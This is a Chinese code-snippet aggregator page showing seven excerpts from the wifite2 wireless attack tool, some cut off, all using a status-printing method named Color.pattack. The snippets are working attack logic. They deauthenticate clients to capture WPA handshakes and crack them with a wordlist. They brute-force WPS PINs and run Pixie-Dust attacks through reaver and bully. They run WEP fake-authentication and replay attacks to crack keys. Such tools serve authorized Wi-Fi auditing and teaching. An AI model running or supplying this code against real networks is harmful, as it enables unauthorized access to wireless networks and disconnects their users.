当前位置: 首页>>代码示例>>Python>>正文


Python Color.pattack方法代码示例

本文整理汇总了Python中Color.Color.pattack方法的典型用法代码示例。如果您正苦于以下问题:Python Color.pattack方法的具体用法?Python Color.pattack怎么用?Python Color.pattack使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Color.Color的用法示例。


在下文中一共展示了Color.pattack方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: deauth

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def deauth(self, target):
        '''
            Sends deauthentication request to broadcast and every client of target.
            Args:
                target - The Target to deauth, including clients.
        '''
        if Configuration.no_deauth: return

        for index, client in enumerate([None] + self.clients):
            if client is None:
                target_name = "*broadcast*"
            else:
                target_name = client
            Color.clear_entire_line()
            Color.pattack("WPA",
                    target,
                    "Handshake capture",
                    "Deauthing {O}%s{W}" % target_name)
            Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
开发者ID:schoonc,项目名称:wifite2,代码行数:21,代码来源:AttackWPA.py

示例2: run

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def run(self):
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps_pin') as airodump:
            # Wait for target
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "Waiting for target to appear...")
            self.target = self.wait_for_target(airodump)

            # Start bully
            self.bully_proc = Process(self.cmd,
                stderr=Process.devnull(),
                bufsize=0,
                cwd=Configuration.temp())
            t = Thread(target=self.parse_line_thread)
            t.daemon = True
            t.start()
            try:
                while self.bully_proc.poll() is None:
                    try:
                        self.target = self.wait_for_target(airodump)
                    except Exception as e:
                        Color.clear_entire_line()
                        Color.pattack("WPS",
                                self.target,
                                self.attack_type(),
                                "{R}failed: {O}%s{W}" % e)
                        Color.pl("")
                        self.stop()
                        break
                    Color.clear_entire_line()
                    Color.pattack("WPS",
                            self.target,
                            self.attack_type(),
                            self.get_status())
                    time.sleep(0.5)
            except KeyboardInterrupt as e:
                self.stop()
                raise e
            except Exception as e:
                self.stop()
                raise e

        if self.crack_result is None:
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "{R}Failed{W}\n")
开发者ID:schoonc,项目名称:wifite2,代码行数:55,代码来源:Bully.py

示例3: run

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def run(self):
        '''
            Initiates full WPA hanshake capture attack.
        '''

        # Check if user only wants to run PixieDust attack
        if Configuration.pixie_only and self.target.wps:
            Color.pl('{!} {O}--pixie{R} set, ignoring WPA-handshake attack')
            self.success = False
            return self.success

        # First, start Airodump process
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wpa') as airodump:

            Color.clear_entire_line()
            Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
            airodump_target = self.wait_for_target(airodump)

            self.clients = []

            handshake = None

            timeout_timer = Timer(Configuration.wpa_attack_timeout)
            deauth_timer = Timer(Configuration.wpa_deauth_timeout)

            while handshake is None and not timeout_timer.ended():
                step_timer = Timer(1)
                Color.clear_entire_line()
                Color.pattack("WPA",
                        airodump_target,
                        "Handshake capture",
                        "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))

                # Find .cap file
                cap_files = airodump.find_files(endswith='.cap')
                if len(cap_files) == 0:
                    # No cap files yet
                    time.sleep(step_timer.remaining())
                    continue
                cap_file = cap_files[0]

                # Copy .cap file to temp for consistency
                temp_file = Configuration.temp('handshake.cap.bak')
                copy(cap_file, temp_file)

                # Check cap file in temp for Handshake
                bssid = airodump_target.bssid
                essid = airodump_target.essid if airodump_target.essid_known else None
                handshake = Handshake(temp_file, bssid=bssid, essid=essid)
                if handshake.has_handshake():
                    # We got a handshake
                    Color.pl('\n\n{+} {G}successfully captured handshake{W}')
                    break

                # There is no handshake
                handshake = None
                # Delete copied .cap file in temp to save space
                os.remove(temp_file)

                # Look for new clients
                airodump_target = self.wait_for_target(airodump)
                for client in airodump_target.clients:
                    if client.station not in self.clients:
                        Color.clear_entire_line()
                        Color.pattack("WPA",
                                airodump_target,
                                "Handshake capture",
                                "Discovered new client: {G}%s{W}" % client.station)
                        Color.pl("")
                        self.clients.append(client.station)

                # Send deauth to a client or broadcast
                if deauth_timer.ended():
                    self.deauth(airodump_target)
                    # Restart timer
                    deauth_timer = Timer(Configuration.wpa_deauth_timeout)

                # Sleep for at-most 1 second
                time.sleep(step_timer.remaining())
                continue # Handshake listen+deauth loop

            if not handshake:
                # No handshake, attack failed.
                Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
                self.success = False
                return self.success

            # Save copy of handshake to ./hs/
            self.save_handshake(handshake)

            # Print analysis of handshake file
            Color.pl('\n{+} analysis of captured handshake file:')
            handshake.analyze()

            # Try to crack handshake
            key = self.crack_handshake(handshake, Configuration.wordlist)
            if key is None:
#.........这里部分代码省略.........
开发者ID:schoonc,项目名称:wifite2,代码行数:103,代码来源:AttackWPA.py

示例4: run

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def run(self):
        '''
            Initiates full WEP attack.
            Including airodump-ng starting, cracking, etc.
            Returns: True if attack is succesful, false otherwise
        '''

        aircrack = None # Aircrack process, not started yet
        fakeauth_proc = None
        replay_file = None

        attacks_remaining = list(Configuration.wep_attacks)
        while len(attacks_remaining) > 0:
            attack_name = attacks_remaining.pop(0)
            # BIG try-catch to capture ctrl+c
            try:
                # Start Airodump process
                with Airodump(channel=self.target.channel,
                              target_bssid=self.target.bssid,
                              ivs_only=True, # Only capture IVs packets
                              skip_wash=True, # Don't check for WPS-compatibility
                              output_file_prefix='wep') as airodump:

                    Color.clear_line()
                    Color.p('\r{+} {O}waiting{W} for target to appear...')
                    airodump_target = self.wait_for_target(airodump)

                    fakeauth_proc = None
                    if self.fake_auth():
                        # We successfully authenticated!
                        # Use our interface's MAC address for the attacks.
                        client_mac = Interface.get_mac()
                        # Keep us authenticated
                        fakeauth_proc = Aireplay(self.target, "fakeauth")
                    elif len(airodump_target.clients) == 0:
                        # Failed to fakeauth, can't use our MAC.
                        # And there are no associated clients. Use one and tell the user.
                        Color.pl('{!} {O}there are no associated clients{W}')
                        Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
                                 ' without fake-authentication or associated clients{W}')
                        client_mac = None
                    else:
                        # Fakeauth failed, but we can re-use an existing client
                        client_mac = airodump_target.clients[0].station

                    # Convert to WEPAttackType.
                    wep_attack_type = WEPAttackType(attack_name)

                    # Start Aireplay process.
                    aireplay = Aireplay(self.target,
                                        wep_attack_type,
                                        client_mac=client_mac)

                    time_unchanged_ivs = time.time() # Timestamp when IVs last changed
                    previous_ivs = 0

                    # Loop until attack completes.

                    while True:
                        airodump_target = self.wait_for_target(airodump)
                        status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
                        if fakeauth_proc:
                            if fakeauth_proc and fakeauth_proc.status:
                                status += ", {G}fakeauth{W}"
                            else:
                                status += ", {R}no-auth{W}"
                        if aireplay.status is not None:
                            status += ", %s" % aireplay.status
                        Color.clear_entire_line()
                        Color.pattack("WEP",
                                airodump_target,
                                "%s attack" % attack_name,
                                status)

                        #self.aircrack_check()

                        # Check if we cracked it.
                        if aircrack and aircrack.is_cracked():
                            (hex_key, ascii_key) = aircrack.get_key_hex_ascii()
                            bssid = airodump_target.bssid
                            if airodump_target.essid_known:
                                essid = airodump_target.essid
                            else:
                                essid = None
                            Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
                                % attack_name)
                            if aireplay: aireplay.stop()
                            if fakeauth_proc: fakeauth_proc.stop()
                            self.crack_result = CrackResultWEP(self.target.bssid,
                                    self.target.essid, hex_key, ascii_key)
                            self.crack_result.dump()
                            self.success = True
                            return self.success

                        if aircrack and aircrack.is_running():
                            # Aircrack is running in the background.
                            Color.p("and {C}cracking{W}")

                        # Check number of IVs, crack if necessary
                        if airodump_target.ivs > Configuration.wep_crack_at_ivs:
#.........这里部分代码省略.........
开发者ID:schoonc,项目名称:wifite2,代码行数:103,代码来源:AttackWEP.py

示例5: parse_line

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def parse_line(self, line):
        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
        got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line)
        if got_beacon:
            # group(1)=ESSID, group(2)=BSSID
            self.state = "Got beacon"

        # [+] Last State = 'NoAssoc'   Next pin '48855501'
        last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line)
        if last_state:
            # group(1)=result, group(2)=PIN
            result = "Start" # last_state.group(1)
            pin = last_state.group(2)
            self.state = "Trying PIN:{C}%s{W}" % pin

        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
        rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line)
        if rx_m:
            # group(1)=M3/M5, group(2)=result, group(3)=PIN
            self.m_state = rx_m.group(1)
            result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
            if result in ["Pin1Bad", "Pin2Bad"]:
                self.pins_attempted += 1
                self.consecutive_lockouts = 0 # Reset lockout count
                self.consecutive_timeouts = 0 # Reset timeout count
                self.consecutive_noassoc = 0 # Reset timeout count
                result = "{G}%s{W}" % result
            elif result == "Timeout":
                self.consecutive_timeouts += 1
                result = "{O}%s{W}" % result
            elif result == "NoAssoc":
                self.consecutive_noassoc += 1
                result = "{O}%s{W}" % result
            else:
                result = "{R}%s{W}" % result
            pin = rx_m.group(3)
            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)

        # [!] WPS lockout reported, sleeping for 43 seconds ...
        lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line)
        if lock_out:
            sleeping = lock_out.group(1)
            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
            self.consecutive_lockouts += 1

        # [Pixie-Dust] WPS pin not found
        pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line)
        if pixie_re:
            self.state = "{R}Failed{W}"


        # [+] Running pixiewps with the information, wait ...
        pixie_re = re.compile(r".*Running pixiewps with the information").match(line)
        if pixie_re:
            self.state = "{G}Running pixiewps...{W}"

        # [*] Pin is '80246213', key is 'password'
        pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line)
        if pin_key_re:
            self.cracked_pin = pin_key_re.group(1)
            self.cracked_key = pin_key_re.group(2)

        #        PIN   : '80246213'
        pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line)
        if pin_re: self.cracked_pin = pin_re.group(1)

        #        KEY   : 'password'
        key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line)
        if key_re: self.cracked_key = key_re.group(1)

        #warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line)
        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)

        if not self.crack_result and self.cracked_pin and self.cracked_key:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
            self.crack_result = CrackResultWPS(
                    airodump_target.essid,
                    airodump_target.bssid,
                    self.cracked_pin,
                    self.cracked_key)
            return True
        else:
            return False
开发者ID:schoonc,项目名称:wifite2,代码行数:87,代码来源:Bully.py

示例6: run_pixiedust_attack

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '--interface', Configuration.interface,
            '--bssid', self.target.bssid,
            '--channel', self.target.channel,
            '--pixie-dust', '1', # pixie-dust attack
            #'--delay', '0',
            #'--no-nacks',
            '--session', '/dev/null', # Don't restart session
            '-vv' # (very) verbose
        ]
        stdout_write = open(self.stdout_file, 'a')
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = 'initializing'
        time_since_last_step = 0

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='pixie') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False

                stdout_write.flush()

                # Check output from reaver process
                stdout = self.get_stdout()
                stdout_last_line = stdout.split('\n')[-1]

                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

                # Check if we cracked it, or if process stopped.
                if (pin and psk and ssid) or reaver.poll() != None:
                    reaver.interrupt()

                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                    stdout = self.get_stdout()
                    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)

                    # Check if we cracked it.
                    if pin and psk and ssid:
                        # We cracked it.
                        bssid = self.target.bssid
                        Color.clear_entire_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
                        self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                        self.crack_result.dump()
                        return True
                    else:
                        # Failed to crack, reaver proces ended.
                        Color.clear_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
                        return False

                if 'WPS pin not found' in stdout:
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    break

                last_step = step
                # Status updates, depending on last line of stdout
                if 'Waiting for beacon from' in stdout_last_line:
                    step = '({C}step 1/8{W}) waiting for beacon'
                elif 'Associated with' in stdout_last_line:
                    step = '({C}step 2/8{W}) waiting to start session'
                elif 'Starting Cracking Session.' in stdout_last_line:
                    step = '({C}step 3/8{W}) waiting to try pin'
                elif 'Trying pin' in stdout_last_line:
                    step = '({C}step 4/8{W}) trying pin'
                elif 'Sending EAPOL START request' in stdout_last_line:
                    step = '({C}step 5/8{W}) sending eapol start request'
                elif 'Sending identity response' in stdout_last_line:
                    step = '({C}step 6/8{W}) sending identity response'
                elif 'Sending M2 message' in stdout_last_line:
                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
                elif 'Detected AP rate limiting,' in stdout_last_line:
                    if Configuration.wps_skip_rate_limit:
                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                        Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                                 ' this kind of failure in the future{W}')
                        break
                    step = '({C}step -/8{W}) waiting for AP rate limit'

                if step != last_step:
#.........这里部分代码省略.........
开发者ID:schoonc,项目名称:wifite2,代码行数:103,代码来源:Reaver.py

示例7: run_wps_pin_attack

# 需要导入模块: from Color import Color [as 别名]
# 或者: from Color.Color import pattack [as 别名]
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '--interface', Configuration.interface,
            '--bssid', self.target.bssid,
            '--channel', self.target.channel,
            '--session', '/dev/null', # Don't restart session
            '-vv'  # verbose
        ]
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False
                time.sleep(1)
                percent = 100 * float(pin_current) / float(pin_total)
                Color.clear_line()
                status = '{G}%.2f%% done{W}, ' % percent
                status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
                status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
                Color.pattack("WPS", airodump_target, "PIN Attack", status)

                if failures >= Configuration.wps_fail_threshold:
                    Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
                    Color.pl("")
                    break

                # Get output
                out = self.get_stdout()

                # Clear output file
                f = open(self.stdout_file, 'w')
                f.write('')
                f.close()

                # CHECK FOR CRACK

                (pin, psk, ssid) = Reaver.get_pin_psk_ssid(out)
                if pin and psk and ssid:
                    # We cracked it.
                    self.success = True
                    Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    break


                # PIN PROGRESS

                # Reaver 1.5.*
                match = None
                for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
                    # Look at last entry for "Pin count advanced" to get latest pin count
                    pass
                if match:
                    # Reset failures on successful try
                    failures = 0
                    groups = match.groups()
                    pin_current = int(groups[0])
                    pin_total = int(groups[1])

                # Reaver 1.3, 1.4
                match = None
                for match in re.finditer('Trying pin (\d+)', out):
                    if match:
                        pin = int(match.groups()[0])
                        if pin not in pins:
                            # Reset failures on successful try
                            failures = 0
                            pins.add(pin)
                            pin_current += 1

                # Failures
                if 'WPS transaction failed' in out:
#.........这里部分代码省略.........
开发者ID:schoonc,项目名称:wifite2,代码行数:103,代码来源:Reaver.py


注:本文中的Color.Color.pattack方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。